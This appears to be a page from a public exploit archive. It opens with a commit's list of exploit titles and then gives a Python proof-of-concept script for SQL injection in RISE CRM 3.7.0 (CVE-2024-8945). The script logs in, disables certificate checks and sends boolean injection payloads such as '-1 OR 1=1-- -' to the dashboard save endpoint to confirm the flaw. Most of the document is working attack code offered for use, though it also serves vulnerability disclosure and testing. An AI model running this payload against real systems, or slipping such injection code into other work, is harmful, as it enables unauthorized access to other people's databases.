
52 changes to exploits/shellcodes/ghdb Microchip TimeProvider 4100 (Configuration modules) 2.4.6 - OS Command Injection Microchip TimeProvider 4100 Grandmaster (Banner Config Modules) 2.4.6 - Stored Cross-Site Scripting (XSS) Microchip TimeProvider 4100 Grandmaster (Data plot modules) 2.4.6 - SQL Injection Microchip TimeProvider 4100 (Configuration modules) 2.4.6 - OS Command Injection Microchip TimeProvider 4100 Grandmaster (Banner Config Modules) 2.4.6 - Stored Cross-Site Scripting (XSS) Microchip TimeProvider 4100 Grandmaster (Data plot modules) 2.4.6 - SQL Injection Apache HugeGraph Server 1.2.0 - Remote Code Execution (RCE) DataEase 2.4.0 - Database Configuration Information Exposure Cosy+ firmware 21.2s7 - Command Injection Angular-Base64-Upload Library 0.1.20 - Remote Code Execution (RCE) K7 Ultimate Security K7RKScan.sys 17.0.2019 - Denial Of Service (DoS) ABB Cylon Aspect 3.07.02 - File Disclosure (Authenticated) ABB Cylon Aspect 3.08.01 - Remote Code Execution (RCE) ABB Cylon Aspect 3.07.02 - File Disclosure ABB Cylon Aspect 3.08.01 - Remote Code Execution (RCE) Cisco Smart Software Manager On-Prem 8-202206 - Account Takeover CyberPanel 2.3.6 - Remote Code Execution (RCE) IBM Security Verify Access 10.0.0 - Open Redirect during OAuth Flow Intelight X-1L Traffic controller Maxtime 1.9.6 - Remote Code Execution (RCE) KubeSphere 3.4.0 - Insecure Direct Object Reference (IDOR) MagnusSolution magnusbilling 7.3.0 - Command Injection Palo Alto Networks Expedition 1.2.90.1 - Admin Account Takeover Progress Telerik Report Server 2024 Q1 (10.0.24.305) - Authentication Bypass Sonatype Nexus Repository 3.53.0-01 - Path Traversal Watcharr 1.43.0 - Remote Code Execution (RCE) Webmin Usermin 2.100 - Username Enumeration ABB Cylon Aspect 3.07.01 - Hard-coded Default Credentials ABB Cylon Aspect 3.08.01 - Arbitrary File Delete ABB Cylon Aspect 3.07.01 - Hard-coded Default Credentials ABB Cylon Aspect 3.08.01 - Arbitrary File Delete AquilaCMS 1.409.20 - Remote Command Execution (RCE) Artica Proxy 4.50 - Remote Code Execution (RCE) Centron 19.04 - Remote Code Execution (RCE) ChurchCRM 5.9.1 - SQL Injection CodeAstro Online Railway Reservation System 1.0 - Cross Site Scripting (XSS) CodeCanyon RISE CRM 3.7.0 - SQL Injection Elaine's Realtime CRM Automation 6.18.17 - Reflected XSS Feng Office 3.11.1.2 - SQL Injection flatCore 1.5 - Cross Site Request Forgery (CSRF) flatCore 1.5.5 - Arbitrary File Upload flatCore 1.5 - Cross Site Request Forgery (CSRF) flatCore 1.5.5 - Arbitrary File Upload GetSimpleCMS 3.3.16 - Remote Code Execution (RCE) Gnuboard5 5.3.2.8 - SQL Injection LearnPress WordPress LMS Plugin 4.2.7 - SQL Injection Litespeed Cache 6.5.0.1 - Authentication Bypass MiniCMS 1.1 - Cross Site Scripting (XSS) MoziloCMS 3.0 - Remote Code Execution (RCE) NEWS-BUZZ News Management System 1.0 - SQL Injection PandoraFMS 7.0NG.772 - SQL Injection phpIPAM 1.6 - Reflected Cross Site Scripting (XSS) PZ Frontend Manager WordPress Plugin 1.0.5 - Cross Site Request Forgery (CSRF) ResidenceCMS 2.10.1 - Stored Cross-Site Scripting (XSS) RosarioSIS 7.6 - SQL Injection Roundcube Webmail 1.6.6 - Stored Cross Site Scripting (XSS) Typecho 1.3.0 - Race Condition Typecho 1.3.0 - Stored Cross-Site Scripting (XSS) Typecho 1.3.0 - Race Condition Typecho 1.3.0 - Stored Cross-Site Scripting (XSS) X2CRM 8.5 - Stored Cross-Site Scripting (XSS) Rejetto HTTP File Server 2.3m - Remote Code Execution (RCE) Microsoft Office 2019 MSO Build 1808 - NTLMv2 Hash Disclosure
78 lines
No EOL
3 KiB
Python
Executable file
78 lines
No EOL
3 KiB
Python
Executable file
# Exploit Title: CodeCanyon RISE CRM 3.7.0 - SQL Injection
|
|
# Google Dork: N/A
|
|
# Date: September 19, 2024
|
|
# Exploit Author: Jobyer Ahmed
|
|
# Author Homepage: https://bytium.com
|
|
# Vulnerable Version: 3.7
|
|
# Patched Version: 3.7.1
|
|
# Tested on: Ubuntu 24.04, Debian Testing
|
|
##########################################
|
|
# CVE: CVE-2024-8945
|
|
############Instruction#######################
|
|
# 1. Login to Ultimate Project Manager 3.7
|
|
# 2. Add a New Dashboard
|
|
# 3. Launch the PoC Script
|
|
#
|
|
# Usage: python3 script.py <base_url> <email> <password>
|
|
###########################################
|
|
|
|
|
|
import requests
|
|
import sys
|
|
from termcolor import colored
|
|
|
|
def login_and_capture_session(base_url, email, password):
|
|
login_url = f"{base_url}/index.php/signin/authenticate"
|
|
login_data = {"email": email, "password": password, "redirect": ""}
|
|
login_headers = {"User-Agent": "Mozilla/5.0", "Content-Type": "application/x-www-form-urlencoded"}
|
|
session = requests.Session()
|
|
response = session.post(login_url, data=login_data, headers=login_headers, verify=False)
|
|
if response.status_code == 200 and "dashboard" in response.url:
|
|
print(colored("[*] Logged in successfully.", "green"))
|
|
return session
|
|
else:
|
|
print(colored("[!] Login failed.", "red"))
|
|
return None
|
|
|
|
def send_payload(session, target_url, payload):
|
|
data = {
|
|
"id": payload,
|
|
"data": "false",
|
|
"title": "PoC Test",
|
|
"color": "#ff0000"
|
|
}
|
|
response = session.post(target_url, headers=session.headers, data=data, verify=False)
|
|
return response
|
|
|
|
def verify_vulnerability(session, target_url):
|
|
failed_payload = "-1 OR 1=2-- -"
|
|
failed_response = send_payload(session, target_url, failed_payload)
|
|
|
|
print(colored(f"\nFailed SQL Injection (False Condition) payload: {failed_payload}", "yellow"))
|
|
print(colored(f"{failed_response.text[:200]}", "cyan"))
|
|
|
|
successful_payload = "-1 OR 1=1-- -"
|
|
successful_response = send_payload(session, target_url, successful_payload)
|
|
|
|
if successful_response.status_code == 200 and "The record has been saved." in successful_response.text:
|
|
print(colored(f"[*] Vulnerability confirmed via SQL injection! Payload used: {successful_payload}", "green"))
|
|
print(colored(f"[*] Successful SQL Injection Response:\n{successful_response.text[:200]}", "cyan"))
|
|
|
|
print(colored("\nStatus: Vulnerable! Upgrade to patched version!", "red"))
|
|
else:
|
|
print(colored("\nNot vulnerable!","red"))
|
|
|
|
if __name__ == "__main__":
|
|
if len(sys.argv) != 4:
|
|
print("Usage: python3 script.py <base_url> <email> <password>")
|
|
sys.exit(1)
|
|
|
|
base_url, email, password = sys.argv[1], sys.argv[2], sys.argv[3]
|
|
session = login_and_capture_session(base_url, email, password)
|
|
if not session:
|
|
sys.exit(1)
|
|
|
|
session.headers.update({"User-Agent": "Mozilla/5.0", "Accept": "application/json", "X-Requested-With": "XMLHttpRequest"})
|
|
target_url = f"{base_url}/index.php/dashboard/save"
|
|
|
|
verify_vulnerability(session, target_url) |